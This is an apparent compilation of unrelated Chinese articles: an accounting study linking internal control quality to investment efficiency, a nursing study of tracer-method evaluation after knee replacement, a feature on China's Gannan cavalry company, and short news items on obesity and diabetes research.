本文选择2006 ~ 2013年沪深主板A股所有上市公司作为初始样本,上市公司违规处理数据、内部控制审计报告、财务报表审计报告意见、内部控制缺陷披露数据、财务数据、公司治理等方面的数据均来自CSMAR数据库。本文对数据进行了以下处理:1剔除金融行业上市公司;2剔除数据不全的公司;3剔除当年进行IPO的公司;4剔除观测值不足4年的公司。为了控制极端值的影响,我们对所有连续变量都在1%分位数上进行了Win- sorize处理。
四、实证结果及分析
(一)描述性统计
注:***、**、*分别表示在1%、5%、10%统计水平上显著,均值差异通过T检验,中位数差异通过非参数卡方检验。
表3通过内部控制质量(ICQ)将模型(1)中使用的样本分成两组进行描述性统计,将内部控制质量高的样本(ICQ=0)作为控制组,与内部控制质量差的样本(ICQ= 1)进行对比分析。为简化起见,仅列示了模型(1)中所使用样本的描述性统计,模型(2)和模型(3)所使用样本的描述性统计并未列示,但描述性统计结果与模型(1)类似,内部控制质量改善的公司和未改善的公司多数变量均值和中位数之间存在差异,表明我们选择的样本具有代表性。
在模型(1)中内部控制质量低的样本共有1 822个、 内部控制质量高的样本共有9 117个。表3分别列示了不同组别主要变量和控制变量均值、中位数及差异。其中,内部控制质量差的公司的投资水平显著低于内部控制质量好的公司(均值差异和中位数差异均在1%水平上显著);控制组和处理组大多数公司治理变量和财务特征变量存在差异。因此, 控制这些因素对投资的潜在影响是必要的。
另外,本文对三个模型变量的多重共线性进行了检验,方差膨胀因子VIF的均值均小于2,且单个变量的VIF均不大于10,表明回归模型不存在多重共线性问题。本文试图同时控制反映公司股权集中度的赫芬达尔10指数(Herfenderl 10 index)和公司第一大股东持股比例(TOP1),但两个变量之间存在严重共线性问题,模型(1)Herfenderl 10 index和TOP1的VIF分别达到了13.22和13.05,整个模型的VIF均值达到了2.31,模型(2)和模型(3)也存在类似情况。我们在回归分析过程中尝试将变量TOP1替换为Herfenderl 10 index,研究结果没有实质性变化。
(二)假设检验结果
1. 内部控制质量与投资效率。表4是混合样本的回归结果,被解释变量是不同年度及不同内部控制质量下的企业投资水平。为了获得更加稳健的标准误,参考Petersen(2009)的做法,在公司和年度两个层面进行了双向聚类调整,并控制了行业效应和公司年度效应。
表4中模型(1)的回归结果显示,ICQ前的系数是-0.98且在1%水平上显著为负,表明当Overfirm接近于0或等于0时,内部控制质量差的公司投资水平显著低于控制组公司的投资水平,约为平均总资产的0.98%。我们关注的ICQ与ICQ×Overfirm系数之和显著为正, 表明当Overfirm接近于1或等于1时,内部控制质量差的公司投资水平显著高于控制组公司, 约为平均总资产的0.605%,进而支持了H1。
注:***、**、*分别表示在1%、5%、10%统计水平上显著。
以上结果表明,相对于控制组公司, 内部控制质量差的公司在具有投资不足倾向时投资不足水平更高,在资金充裕且杠杆系数较小时,过度投资更为严重,并且在经济上和统计上均是显著的。
2. 内部控制质量改善与投资效率。为了检验内部控制质量的改善是否能促进投资效率的提升,我们分别用模型(2)和模型(3)估算内部控制质量改善后企业的投资效率。在模型(2)中,我们观察的变量是ICQ_impro以及ICQ_impro×Overfirm前的系数及显著性。根据模型(2)的混合回归结果,ICQ_impro前的系数仍然为-1.028,但是在统计上已经变得不显著, 表明相对于没有完善其内部控制体系的公司,改善内部控制质量的公司的改善行为缓解了其投资不足。同时,ICQ_impro× Overfirm前的系数为1.111,β1+β2的系数为0.083,在统计上没有显著性,说明内部控制质量改善的公司的过度投资行为得到抑制。
进一步,我们用模型(3)检验在第t期界定为内部控制质量差的公司在第t+2期的内部控制状况与投资效率,相对于第t+ 1期,在第t+2期有更多的公司完善了其内部控制。ICQ_impro1前的系数由-1.028变为0.459且不显著,进一步表明公司在提高其内部控制质量过程中缓解了投资不足。而ICQ_impro×Overfirm前的系数也由正变负,且β1+β2的系数为-0.662,系数和也不再显著,表明内部控制质量的改善有助于抑制过度投资倾向公司的过度投资行为,进一步验证了H2。由此,本文的研究假设均得到验证。
(三)稳健性检验
为了验证上述结论的稳健性,我们进行了如下测试:
1. 为了避免内生性问题带来的估计偏差,参考李万福等(2011)、Doyle et al. (2007b)、Ashbaugh-Skaife et al.(2008)的研究,将内部控制质量设定为一系列解释变量的函数,选择了上市公司是否由四大审计(Big_four)、公司规模(Size)、公司成熟度(Age)、成长机会(Growth)、国外业务(Foreign)、异常增长(Extrgrow)、经营亏损(Loss)、财务状况(Zdd)、所处行业(Indus-try)以及公司治理相关变量。基于上述变量构建内部控制质量影响模型并采用Heckman(1979)二阶段回归分析法进行测试。将上市公司是否由四大审计(Big_four)作为外生工具变量。第一步,采用Probit模型估计出哪些公司更有可能被界定为内部控制质量差的公司,随后计算出In- verse Mills Ratio(逆米尔斯比例);第二步,在控制Inverse Mills Ratio基础上重新进行了回归。结果发现,模型(1)中ICQ×Overfirm前的系数相对于我们的主检验显著性有所降低,但仍然在10%的水平上显著。而且,我们所关注的系数之和β1+β2仍然为正,并且在5%的水平上显著;模型(2)和模型(3)的结果与前文结果基本一致。因此,检验结果仍然支持我们的结论。
2. 为了控制公司治理因素对投资的影响,我们借鉴Liao et al.(2014)的研究,选择了关联方交易收入比、赫芬达尔10指数和管理层持股比例三个变量作为公司治理变量,重新进行了回归,发现结果没有实质性变化。
五、研究结论
本文基于2006 ~ 2013年中国上市公司面板数据,在李万福等(2011)的研究基础上,借鉴Biddle et al.(2009)和Cheng et al.(2013)的方法,分析了中国上市公司内部控制质量与投资效率的关系,并持续追踪了那些被界定为内部控制质量差的公司后续内部控制质量改善及由此带来的公司投资效率的变化。
研究结果表明:第一,内部控制质量与投资效率正相关,相对于高质量内部控制的公司,内部控制质量差的公司信息不对称程度更高,代理冲突更为严重,存在投资不足倾向的公司有更严重的投资不足问题,存在过度投资倾向的公司有更高水平的过度投资,这与李万福等(2011)的研究结论一致。第二,通过对在第t期被界定为内部控制质量差的公司在后续年度内部控制质量改善情况的追踪,我们发现,相对于未改善内部控制质量的公司,在第t+1期和第t+2期加强内部控制建设、完善内部控制体系的公司投资效率更高,内部控制质量改善缓解了投资不足,抑制了公司的过度投资。因此,本文为现有关于内部控制所带来的经济后果的研究提供了补充证据。
摘要：本文在前人研究的基础上,基于2006~2013年中国上市公司面板数据,针对内部控制质量与公司投资效率展开一项追踪研究。基于最新数据发现,相对于内部控制有效的公司,内部控制质量较差公司的非效率投资问题更加严重;进一步,内部控制质量较差的企业在内部控制质量改善后,投资效率得到提升。本文的最新证据基于企业投资角度进一步支持了内部控制的重要性,加强内部控制建设可以缓解投资不足和抑制投资过度。
质量追踪 篇10
1 资料与方法
1.1 一般资料
2015年1月—2016年6月在本院关节外科行膝关节置换术的病人110例,其中男54例,女56例;年龄61岁~82岁(68.26岁±3.28岁)。纳入标准:自愿参加本次调查;意识清楚,有自主行为能力,可清晰回答问题;行膝关节置换手术的病人。将110例病人随机分为观察组及对照组,每组55人,观察组采用追踪法对护理质量进行评价,对照组采用传统评价方法进行护理质量评价。
1.2 护理方法
1.2.1观察组
成立追踪管理小组,由总护士长1名、关节外科护士长1名、关节外科主管护师1名组成追踪管理小组,制定追踪管理方案:①追踪小组在病人入院后评估及采集病人信息,包括病人基础信息、症状、膝关节Lysholm评分、病史、心理状况等。②对病区护理工作进行评估,包括护理方案、用药程序、疼痛评估与控制方案、膝关节置换术后早期活动干预方案等。③进行入住评估,包括常规护理、膝关节置换术相关健康宣教、常规护理操作、文件记录及出院指导。④调查评估病区配套设施,包括病室环境、床位设置、膝关节置换术后的活动设备配置、病人跌倒的应急预案及护理人力资源配置等。⑤调查护理人员护理方案实施程度,包括对病人信息的掌握、入院指导、围术期重点护理内容、健康宣教、膝关节置换术后的功能锻炼指导、出院指导。⑥调查病人对护理工作的满意程度,包括入院管理、围术期护理、健康宣教、术后功能锻炼、出院指导等。⑦调查护患之间的沟通情况,护士是否对护理操作目的、药物作用、检查化验注意事项等与病人进行沟通,病人对护理人员提出的问题是否能够及时得到答复等,护理人员是否帮助病人解决实际困难[5]。
1.2.2对照组
常规护理评价方法,由护理部主任、副主任、总护士长及各病区护士长组成护理质量检查小组,对病房护理工作进行检查,内容包括病区管理、基础护理、护理文件书写、护理规范执行情况等,每周不定时检查1次或2次,对检查出的问题扣除责任人相应质控分数。
1.3 评价指标及统计学方法
出院时对两组病人术后并发症发生情况、住院天数、膝关节Lysholm评分,病人满意度,护理质量综合评分进行比较,采用SPSS14.0软件系统进行统计学分析处理,用t检验,以P<0.05为差异有统计学意义。
2 结果
通过比较,观察组在术后并发症发生情况、住院天数、Lysholm评分、病人满意度及护理质量综合评分几方面均优于对照组,差异有统计学意义(P<0.05),见表1。
3 讨论
通过采用追踪法及传统评价方法对膝关节置换术后护理质量进行评价,可以发现较传统的质量检查评价方式,在膝关节置换术后采用追踪方法学对护理质量进行评价具有以下优势:①追踪法是对护理全过程的一种检查,它贯穿于病人入院至出院的全程,检查方法灵活,检查过程全面深入,能凸现膝关节置换术的专科特性,避免了传统质量检查中的形式主义,摒弃了为扣分而扣分,导致护理人员强烈不满的弊端;追踪小组通过贯穿护理全程的检查评价,可以及时发现问题,使护理人员认识到自己工作中存在的不足,并且能够及时改正并完善自己的工作。采用系统追踪法对膝关节置换术后的护理质量进行评价,可以将护理过程中的差错和不足追踪到个人,引起当事人和其他护理人员的重视,管理者在检查过程中充分听取病人的意见,使护理过程更加合理化、人性化。②加强细节和重点环节的过程管理,保证护理安全。追踪方法学不注重结果,只注重过程,检查者在检查过程中通过随机提问、再根据答案进行分析的方法[6],查找工作过程、工作制度中存在的问题,如追踪膝关节置换术后术区管路安全时,发现术区引流管固定没有统一方法,部分病人反映床头柜位置放置不当、自行取水杯、眼镜等有可能牵动引流管导致不适,通过对细节的追踪,管理者对护理工作中可能存在的隐患进行了分析和讨论,制定了相应的方法措施,通过调整床头柜位置、对配合能力欠缺及无家属全程陪护的病人进行重点关注,对引流管固定方法进行改良等,显著降低了管路脱出的风险。管理者采用追踪方法学对膝关节置换术的护理质量进行评价,避免了传统检查只注重结果,忽略原因过程分析的弊端,有利于护理质量的持续改进。③在检查过程中提高护士质量意识,规范护士行为。追踪方法学检查的目的不是扣分,而是教育[7],检查者花费大量时间来到护理工作一线,实地检查工作环境和设施,与病人交谈,与护理人员交谈,并且观察护士在整个护理过程中的行为质量,发现问题时,与护理人员共同分析出现差错和问题的原因,由于检查者身处临床护理工作一线,可以设身处地了解护理人员在工作中存在的难处,得到护理人员的共鸣,使护理人员能够自觉地分析自身工作存在的问题,并且自觉规范自身行为。例如追踪小组在对术后健康宣教进行追踪时,通过与病人交谈了解到责任护士没有对病人进行术后的饮食指导,检查者通过观察责任护士的护理工作发现,责任护士每日有大量的基础治疗工作要完成,包括扫床、输液、打针、评估入院病人、术前准备、接手术、记录特护、使用仪器进行理疗、更换引流瓶等等;在工作中还需要经常停下手头工作为病人更换液体,由于工作内容繁多且经常被打断,护理人员极有可能遗漏一些工作内容,管理者与护士交谈分析后提出整改措施,由于下午大部分病人液体已输入完毕,护理人员较少被打断工作,可以将健康宣教工作整体放入下午进行,可以避免遗漏宣教内容这种情况的发生。管理者采用追踪法进行检查监督,可以设身处地了解护理人员的工作状态,与护士共同分析和提出整改措施,使护士参与其中,充分发挥自觉性和主观能动性。
4 小结
追踪方法学强调的是检查者与病人及护理人员的互动、交谈,更加注重病人的感受,关注病人的实际需要[8],管理者在检查过程中更注重的是过程,而不是结果,它既是一种检查过程,也是一种教育过程;追踪法具有灵活性、现场性、双重性、易操作等特点,应用于膝关节置换术后的护理质量评价中取得了良好的效果,随着对追踪方法学的深入、广泛应用,护理工作评价体系将更加合理化、先进化。
摘要：[目的]研究追踪法在膝关节置换术后护理质量管理中的应用效果。[方法]将2015年1月—2016年6月在本院关节外科进行膝关节置换术的110例病人作为研究对象,随机分为观察组和对照组,每组55例,对照组与观察组分别选择传统的评价方法和追踪管理法对护理质量进行评价,比较两组病人术后并发症发生情况、住院天数、膝关节Lysholm评分、病人满意度、护理质量综合评分。[结果]观察组在术后并发症发生情况、住院天数、膝关节Lysholm评分、病人满意度、护理质量综合评分几方面均明显优于对照组,差异有统计学意义(P<0.05)。[结论]采用追踪法对膝关节置换术后的护理质量进行评价取得了良好的效果,追踪法是一种较好的评价管理法。
关键词：膝关节置换术,追踪法,护理质量
参考文献
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[5]王九云.护理指引在髋关节置换病人护理中的应用[J].蚌埠医学院学报,2011,36(3):309-311.
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追踪最后的骑兵 篇11
金珠山下马萧萧
那是一扇普通的窗户。窗户是开着的，窗台上摆放着一盆我们叫不出名字的花。花盆是白色的，不大，生长在盆内的花有些低矮，开着淡紫色的花，玲珑剔透，在清晨的阳光下似乎还带着些许朦胧的雨雾，很是动人。透过这扇窗户，我们看到的是骑兵们的真实生活。
甘南地区气候多变，一天历四季。远处是连绵起伏的山峦，太阳光下会放出金色的光芒，再加上此地从上世纪50年代始一直驻扎着骑兵部队，当地的藏族群众给它起了一个美丽的名字——金珠山，因为在藏语里金珠玛咪是解放军的意思。据说，那山顶上，盛夏七月天还有雪。近处便是骑兵连的马厩和训练场，马厩里传出几声马鸣，训练场显得有些空落。再近处便是骑兵连的营房了，一幢二层楼以及不规则地分布着的几幢红砖瓦房，连接它们的路面都是水泥铺就的。战士们在营区进行着早晨饭前的训练，口令声与脚步声整齐雄壮。
这正是曾被兰州军区司令员李乾元中将誉为“高原轻骑”的甘南军分区骑兵连。
一匹匹威武的战马被战士们牵了出来，在训练场上昂首嘶鸣。随着连长李昌银一声令下，训练场一下子变得静悄悄了。战士与军马并肩而立，庄严甚至神圣。
我们留意到，骑兵连的报告除了人员之外还有马匹与军刀的数量。陪同我们采访的孙干事告诉我们，在骑兵连，每一匹马都有名字，还建有档案，一匹马每天的“伙食费”要比一个战士的高。他还告诉我们，骑兵的训练要比步兵苦，步兵的训练内容骑兵基本上都有，骑兵还有马术训练，每天三次的“马勤”（即遛马）雷打不动，而且晚上还要轮流喂马。骑兵训练和作战讲究“人马合一”，人与马的配合往往要达到出神入化的境界才行。
骑兵连所养的军马都是骟马，没有一匹母马。谢副连长向我们解释说，只要马群里出现一匹母马，就很难“收拾”了。为争夺异性，公马之间常会发生“战争”，影响马匹的“安定团结”。他还告诉我们，有些马很调皮，晚上在一个糟里吃草料，但总不让身边的马吃，还常用嘴巴解开缰绳，领其他的马出去“乱逛”。
所以，一般情况下，连队干部骑的马就得选这些调皮的马，他们能起到率领马群的作用，叫“头马”，像连队干部“统领”全连士兵一样。连长的马叫“狮子”，指导员的马叫“杜雪”，他的马则叫“火旋龙”。他还告诉我们，骑兵训练很不容易，除了每天的饮马、遛马、洗马之外，每一个新战士入伍都要经过“颠马”这一关，时间大约需要三个月，战士们的屁股常被马背磨烂出血。为减少磨擦，骑兵连的战士训练时常常不穿内裤，把线裤反着穿，以避免线裤裆部的缝合处给臀部造成更大的磨擦。骑兵连的每一个战士都有过颠马而磨烂屁股，血渗透棉裤的经历。连队一些复员的老兵，现在虽说已经不骑马了，但颠马时留在臀部的伤还在……正是因为有了这些经历，人与马才有了默契的配合，马背上的战士用脚蹬磕马一下，就如同给马挂了一档，两下则是二档，三下相当于三档；用缰绳抽打脖子，就等于没档了，马就明白了这是“骑手”让它能跑多快就跑多快。
马队一字排开，连长一声令下，战士们齐刷刷地抽出了军刀。阳光下，军刀闪闪发亮，群马奔腾，喊声震天！
李昌银 ：我为骑兵连骄傲
在训练场，我们听骑兵连的官兵口中讲得最多的是电视剧《最后的骑兵》，很多创作素材来自于这个连队。这使我们很容易将连队的每一个人与电视剧中的人物“对号入座”。但随后，我们发现剧中的男一号常问天与现实生活中骑兵连的连长仅仅是在某些方面有相似之处。比如常问天不相信骑兵会从中国的军队中消失，而我们面对的李昌银亦是这么认为，他虽没有像常问天一样拿骑兵与坦克一比高低，但在他的思想意识当中，骑兵仍然是非常有锋芒的。在训练场为我们“表演”集体冲刺之后，见我们被骑兵的威武雄壮深深震撼，他非常响亮地对我们说了一句这样的话：“我的骑兵很厉害吧！”在我们的印象中，他甚至因为自己是中国军队里最后的骑兵连长而表现出了些许骄傲。而且，他很不赞同电视剧《最后的骑兵》让骑兵从中国的军队中“消失”。很多人认为骑兵没有文化，已经跟不上时代发展的需要了，但他不这么认为，他认为他的连队中每一个战士都是有文化的现代军人。为此，他还带我们去参观了连队的荣誉室和电脑室，他反问我们：“上世纪五六十年代的骑兵会用电脑吗？”他说，如果没有了骑兵连，让机械化的部队来接替和完成骑兵连目前所担负的使命与任务，他相信机械化的部队一定没有骑兵完成得出色，因为连队目前的一些执勤点是只有马匹才能到达的。他对马有着一种非常浓厚的感情，他还为自己的军马起了“狮子”这样威武的名字，希望自己的军马能像狮子一样成为“兽中之王”，“一呼万山动”。李昌银1994年入伍，今年才30岁，正年富力强。最让他深感欣慰的是部队目前并没有取消骑兵连的意图和迹象。他说，他带领全连官兵和马匹去甘南草原训练时，路过合作市区，他们的军马比汽车还威风，能吸引来很多人的目光。
我们问他如果有汽车向军马鸣号时，马群会不会受惊？他说：“怎么会呢？我们在驯马时，都在马耳朵边上放炮！”他是当兵第三年时，因为表现出色而被部队直接提干，在他的身上虽然少了些常问天沉稳的性格，但比较起来，李连长更富有激情与豪迈。
爱情，是影视剧永恒的内容，《最后的骑兵》也不例外。当然我们也对李连长的爱情感兴趣，虽然那不是电视剧《最后的骑兵》里常问天的爱情故事。
他的爱情完全可以用一见钟情这个词来形容。他的女朋友是兰州铁路局乘务段的一名乘务员，曾是新疆某基地的一名女兵。去年春天，来甘南旅游的时候，通过别人介绍他们互相认识了。他还答应了要教这位退伍女兵骑马，不到一个下午的时间，他们一来二去，对对方就有了些“意思”。临行前，他主动请人家吃饭，还留下了电话号码。现在，爱情已经等着要收获了：在兰州买了房，今年准备结婚。他的爱情就这么单纯，不像常问天的爱情那样曲折。
我的战友叫杜雪
和七班长欧阳淦生聊天，要不是他说就是自己刚才骑的“杜雪”吓倒了记者，真还认不出是他，因为远远望去，穿着迷彩服的战士们都一个模样。
每一个入伍的新兵都对未来的部队生活有一番向往。“听说被分到骑兵连，要与马为伍，我很失落。骑兵太原始，离现代化部队太远。”欧阳班长说起自己刚来时的情景，笑了。“后来，跟着老班长学驯马，学爱马，和马产生了浓浓的感情，就觉得很有意思。那些坦克、大炮好是好，可是哪能像战马一样有感情啊？我们的连队是全军惟一的一个编制连队，这么多年来获得了很多的荣誉，我到部队五年来，就拍过好多部影视剧，像《高原骑兵》、《最后的骑兵》等。骑兵作为一个古老兵种曾经辉煌过，现在我们作为最后的骑兵，我觉得很骄傲。我的马叫杜雪，就是脾气暴、胆子大，但是很聪明。今天这种冲撞人的事很少有的。”个头不太高的欧阳讲话很有条理。自从五年前他从老家江西吉安入伍后就一直在骑兵连。“杜雪是老班长复员时交给我的，他一直告诉我杜雪的个性强烈，难管，但决不能打它。常言说，人心换人心，对马也是，马是通人性的，只有用心去关照它，它才能对你好。”
刚开始驯杜雪时，欧阳常常被欺侮，杜雪不让他近身，更不让他骑，总用头、脚、身体顶他，等到欧阳终于骑上它的时候，却常常被摔下来。不过欧阳不信杜雪不能接受他，摔下来，就爬上去，再摔下来，再爬上去，杜雪终于服了的时候，就不再摔欧阳了，它接受了要换主人的这个现实。每天欧阳会为杜雪增加梳毛、刮身的时间，增强它的血液循环，也让它身心得到休息和放松，到了夜里，欧阳又会从营房跑到马圈，俗话说马无夜草不肥，欧阳喂的是精饲料的豌豆。这样不停地和杜雪“套近乎”后，终于得到了它的信任。
看着远处正悠闲吃草的杜雪，欧阳说：“杜雪特有灵性，每年6月连里的马都要到夏河的牧场‘放青’，就是到牧区吃青草，大概时间快到了，杜雪有时自个先跑去牧场，白天去吃草，晚上自己回马圈。到10月份时，天冷了，没草吃时，就会自个回来。”“骑马的时候，我是主人，但不骑马的时候，它是主人。要照顾着让它吃好，喝好，不能生病。骑兵的马，不是动物，对我们来说，它是战友，是和我们很亲密的无言的战友。”这时，一队战马以冲锋的速度掠过，欧阳望着远处说：“这种跑法很伤马，应该让马多休息一下。”
听欧阳说了许多战士与战马的故事，还讲到了让人难以置信的感人的离别。老兵复原的时候要过两关，一关是和战友的分别，另一关是和战马的分别，复原的老兵走之前会给自己的马加草加料，那些马好像知道他们要走似的，老兵抱着马流泪，马也会流泪。“我今年也要复原了，想起离别的日子，每次心里都会很难受，可能再也见不到许多战友，再也见不到杜雪了。”朴实而单纯的欧阳的伤感感染得我们也替他感伤起来。
集合哨响了，欧阳去牵杜雪，一下子融入队伍中，再也辨不清哪个是他。一阵微风吹过，草原上遍布的小黄花迎风摇曳，欧阳和他的战友就像那些平凡而鲜艳的小花朵装点出了美丽的草原一样，他们用自己的美好青春和坚定信念，绘出一派军旅美景。
并非“最后的骑兵”
谁也拒绝不了传统兵种在现代战争中面临的尴尬，谁也无法拒绝高科技与信息时代骑兵走向衰落的现实。然而，当这一页真的翻开时，相信看过战争片或亲身经历那血与火的战争年代的人们都无法面对。驻足撒满战马踢印的营盘，看着战马嘶鸣的训练场景，电视剧中即将消失的骑兵一幕幕在眼前闪现，眼前这支惟一的骑兵最终的命运让我们思绪涌动。作为全国惟一骑兵连的连长李昌银坦言，看过《最后的骑兵》后他的确十分沉重，在训练之余他更多的是思考，也许他就是剧中的常问天，也许他就是中国最后的一位骑兵连长，常问天内心的矛盾就是他的矛盾，也是骑兵连每个战士的心理的真实反映。作为传统兵种退出战争舞台他理解，但他就是无法接受这残酷现实。这就是骑兵的遗憾，谁也无法否定这个现实，军人以服从命令为天职，当这一天到来的时候，他会勇敢面对。
电视剧中的骑兵连消失了，但现实中的骑兵连还存在着，虽然撤编的命运某一天会降落到他们身上，但骑兵连100多名战士训练仍然一如既往。他们表示，他们会格外珍惜这最后的机会，连队存在一天他们就刻苦训练一天，随时听从上级的调遣。他们希望将这个军种的最后一支连队保留下来。骑兵退出军队序列，虽是历史的选择，时代的需求，但这个现实对一个职业骑兵来说，内心经历最多的是难以割舍的情怀。
连长李昌银不断向我们提起，骑兵是一种文化。他说，在2002年甘肃少数民族运动会上，开幕式上骑兵连的表演引来许多观众的好奇和欢迎，骑兵战士的雄姿已经成为现代人心目中英雄的象征。还有，在许多重大节日中，骑兵连的表演使节日本身显得更加隆重，并且更上档次、更有规模。 他说，目前在骑兵部队逐渐缩编的情况下，人们对骑兵的印象只有通过老电影才能看到，现代年轻人对骑兵更有一种神秘的向往。如果骑兵真消失了，这是一种历史的遗憾，这个“标本”的存在对后人是一个活教材，也是一个活的历史见证。
《最后的骑兵》结局是骑兵连连长牺牲，骑兵连退出解放军序列，对于这个结局，大部分官兵心情沉重。他们认为，虽然骑兵已经不是现代战争舞台的主角，但这并不能说明这个兵种一定要消失。目前他们没有接到任何有关退出军队序列的命令，也许有一天他们会像剧中的骑兵连一样消失，但对于电视剧中过早地设定这样的结局他们很不能接受。他们不愿离开心爱的战马，不愿离开这片朝夕相处的营地。作为中国曾辉煌的一个兵种的最后一批官兵，他们真的希望这一天不要来得太快，他们希望能够保留建制。 和《最后的骑兵》剧中弥漫着太多太强烈的徘徊流连、难以割舍的悲剧色彩相比，这儿喷涌着一种饱满的激情，还有平静和留恋。是的，骑兵毕竟是曾经战功赫赫的兵种。
相关链接：
军事学术界认为，骑兵最早出现在公元前9世纪的亚述和乌拉尔图，公元前6世纪波斯帝国也有了骑兵。我国史学界认为，骑兵在我国约始于春秋末战国初。公元前307年赵武灵王“胡服骑射”即是著名例证。南北朝时期，马镫的出现和马鞍的改进，使马真正成为“作战平台”，骑兵获得空前发展。至元朝，蒙古人将骑兵的作用演绎到极致，蒙古马把成吉思汗蒙元帝国的帏帐一直扯到了中欧和南亚。明、清以后火器得到了大力发展，随着专门的火器部队和炮兵的出现，骑兵的地位逐渐下降，明以后很少有作为主要战略力量的骑兵存在了。
前沿追踪 篇12
肥不自知猛如虎
在美国心脏协会2009科学大会上发布的一项研究显示, 大约8%的肥胖者并未意识到自身的问题, 并认为自己无需减肥。
这一名为“达拉斯心脏研究”的研究对象包括了5893人, 其中2056人为肥胖症患者。这2056人之中, 8%的患者认为他们很满意自己的体形, 部分人甚至表示还打算想办法增重。然而事实上, 这些肥胖症患者的健康状况令人担忧——其中35%的人有高血压, 15%有高胆固醇血症, 14%患有糖尿病。
这项研究的负责人声称:“这一结果提示我们, 可能还有相当数量的肥胖症患者, 由于意识不到自身的问题而未曾就医, 这给他们的健康埋下了隐患。而作为临床医生来讲, 当你遇到肥胖症的患者, 最好耐心地向他们解释肥胖与糖尿病、心血管疾病之间的关系, 以引起患者的重视, 从而使其得到及早的检查和医治。”
可预测胰岛素需求量的食物胰岛素指数
日前, 澳大利亚悉尼大学的学者布兰德·米勒博士发表研究报告称, 食物胰岛素指数 (FII) 可为1型糖尿病患者胰岛素计量的调整提供更好的参照。这一指标甚至还有望帮助我们制定预防糖尿病的食谱。
布兰德·米勒博士和他的同事此前为扩展他们的食物胰岛素指数数据库而进行了不懈的探索, 主要目的在于搞清楚这一概念用于多种食物的混合餐时, 是否能够预测进餐者的胰岛素反应。通过对实验结果进行分析, 研究者认为, 食物胰岛素指数能够预测混合食物对胰岛素的需求量。
冠心病患者:胖比不胖好?
大量的研究结果显示, 肥胖是心血管疾病的风险因素, 但是有证据表明, 在已经确定患有冠心病的人群中, 肥胖者的生存状况更佳, 目前还不清楚导致这种矛盾关联的原因。
据《欧洲心脏杂志》此前刊出的一篇论文, 艾伯塔大学的学者们进行了一项研究, 研究对象包括31021例冠心病患者。研究者对3种治疗策略 (只采用内科治疗、经皮冠状动脉介入治疗和冠状动脉旁路移植术) 分别进行了数据分析。根据体质指数 (BMI) 把研究对象划分为6类。
经过46个月的随访后, 在那些只采用内科治疗的患者中, 与正常BMI相比, BMI处于25.0～29.9和30.0～34.9的患者存在显著的低死亡率;在采用冠状动脉旁路移植术治疗的患者中, BMI处于30.0～34.9的患者拥有最低的死亡率;在采用经皮冠状动脉介入治疗治疗的患者中, BMI处于35.0～39.9的患者死亡率最低。
“考虑到在普通人群中肥胖和心血管疾病存在流行病学关联, 尽管我们的研究结果可能违反常理, 但是却和以往的研究结果高度一致。”研究人员指出, “与正常BMI患者相比, 肥胖患者会更早和更积极地接受治疗。”
新动态
未来25年美国糖尿病患者数量将翻番
一项发表于《糖尿病护理》杂志的研究论文表明, 到2034年, 美国糖尿病的人数将会翻番, 和糖尿病有关的花费也将增加两倍, 达到创记录的3360亿美元。
由芝加哥大学牵头组织的一个研究团队设计了一个“糖尿病费用模型”, 这个模型纳入了风险因素及趋势 (例如肥胖病发生率) 、疾病自然史以及治疗效果三个因子, 这些因子有助于提高之前政府预算分析师的预测水平, 因为在以往的预测中, 这些因子并没有被纳入考虑范围。
根据上述模型所作的研究结果显示, 在未来25年内, 美国确诊和未确诊的糖尿病患者将从2370万人激增到4410万人, 几乎是翻了一倍。与此同时, 每年和糖尿病有关的花费将从1130亿美元攀升至3360亿美元。在这25年内, 处于医疗保险体系内的人中, 糖尿病的患病人数将从820万人增加至1460万人, 同时相关费用也将从450亿美元增至1710亿美元。
“我们建立这个模型是希望为政府的政策制定者提供一种工具, 帮助他们提高预算和健康结果信息预测的准确性。”研究者解释道:“该模型考虑到疾病的自然发展过程和近期治疗水平的提升, 对糖尿病未来给政府带来的负担进行了严格的评估。如果公共或个人政策在未来没有发生重大改变的话, 以现在的人口和费用增加水平来说, 糖尿病发病率的激增预计会给国家医疗保障体系带来明显超负荷的压力。”
美国大学肥胖学生非健身不准毕业
据美国媒体报道, 宾夕法尼亚州的林肯大学最近出台新规定, 身体肥胖的学生必须参加健身课以后, 才准毕业。林肯大学表示这项规定是出于对美国学生肥胖和糖尿病频发的忧虑。该校学生都被要求接受体质指数 (BMI) 测试。体质指数等于人的体重 (公斤) 除以身高 (米) 的平方, 一般18.5～24.9被认为正常, 25～30被认为超重, 超过30被认为肥胖。林肯大学要求所有肥胖学生参加每周三小时的健身课程。课程内容包括走路、体操、营养学知识等。美国的一些医学专家对林肯大学这项措施表示支持, 不过担心强迫学生健身的方法未必奏效。
据美国疾病控制和预防中心统计, 从1980年以来美国肥胖症患者比例剧增, 美国现有超过33%的成年人和16%的儿童身体肥胖, 引发一系列健康和社会问题。
新发现
母乳喂养可降低女性糖尿病风险
日前, 有科研人员表示, 母乳喂养能有效防护妇女在哺乳期之后不罹患糖尿病, 大幅降低其患糖尿病的风险。
为了研究母乳喂养和罹患糖尿病风险之间的关系, 研究人员进行了长达20年的跟踪研究。研究结果显示, 相对于那些给孩子吃奶粉的妇女, 进行母乳喂养的妇女血脂和血糖水平更为健康。研究人员将这一最新成果发表在《糖尿病杂志》上。研究结果还显示, 因母乳喂养时间长短不一, 糖尿病风险可以降低39%到56%不等。